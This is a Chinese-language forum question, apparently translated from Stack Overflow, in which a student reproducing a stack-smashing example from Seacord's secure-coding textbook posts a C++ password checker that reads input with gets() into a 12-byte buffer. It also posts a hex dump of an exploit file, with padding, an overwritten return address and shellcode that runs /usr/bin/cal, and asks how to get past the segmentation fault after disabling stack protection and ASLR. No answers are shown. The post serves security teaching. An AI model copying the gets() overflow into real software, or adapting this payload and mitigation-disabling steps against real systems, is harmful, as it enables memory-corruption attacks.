0

我正在为大学做一些功课,而我正在使用的书(Robert Seacord 的 C 和 C++ 中的安全编码)中有以下示例;

您编写了一个简单的输入密码程序并在程序上执行堆栈粉碎以使终端显示日历快照。作为堆栈粉碎的示例,它非常简单明了。除了我认为我们必须通读的书是很久以前写的,在分段错误涵盖这种活动之前。

我搜索了很多网站(我在 g++ 编译器中添加了 -fno-stach-protector,还设置了 kernel.randomize_va_space=0,这些都不允许执行漏洞代码。

这是密码c ++代码;

#include <cstring>
#include <stdio.h>
#include <iostream>

bool isPasswordOkay(void);

int main(void)
{
    bool PwStatus;

    puts("Enter password:");
    PwStatus = isPasswordOkay();
    if (PwStatus == false)
    {
        puts("Access denied");
        return 0;
    }
    else puts("Access granted");
    return 0;
}

bool isPasswordOkay(void)
{
    char Password[12];

    gets(Password);
    if (!strcmp(Password, "goodpass"))
    return true;
    else return(false);
}   

这是漏洞利用代码(exploit.bin);

000  31 32 33 34 35 36 37 38–39 30 31 32 33 34 35 36 "1234567890123456"
010  37 38 39 30 31 32 33 34–35 36 37 38 E0 F9 FF BF "789012345678a. +"
020  31 C0 A3 FF F9 FF BF B0–0B BB 03 FA FF BF B9 FB "1+ú . +≠+. +≠v"
030  F9 FF BF 8B 15 FF F9 FF–BF CD 80 FF F9 FF BF 31 ". +ï§ . +−ç . +1"
040  31 31 31 2F 75 73 72 2F–62 69 6E 2F 63 61 6C 0A "111/usr/bin/cal "

编译密码代码后,我通过输入 ./a.out < exploit.bin 执行

执行时,终端返回“Segmentation fault (core dumped)”。它应该显示的是在“111/usr/bin/cal”中找到的日历快照。

我的问题是,有没有办法暂时禁用此分段错误以允许漏洞代码执行?这将允许我继续做这部分,因为我现在有点难过。

谢谢你,乔恩

编辑:不幸的是,我还不能上传图片,因为我是新手,但这里有一个exploit.bin代码分解的链接;http://imgur.com/lpz9eY4

4

0 回答 0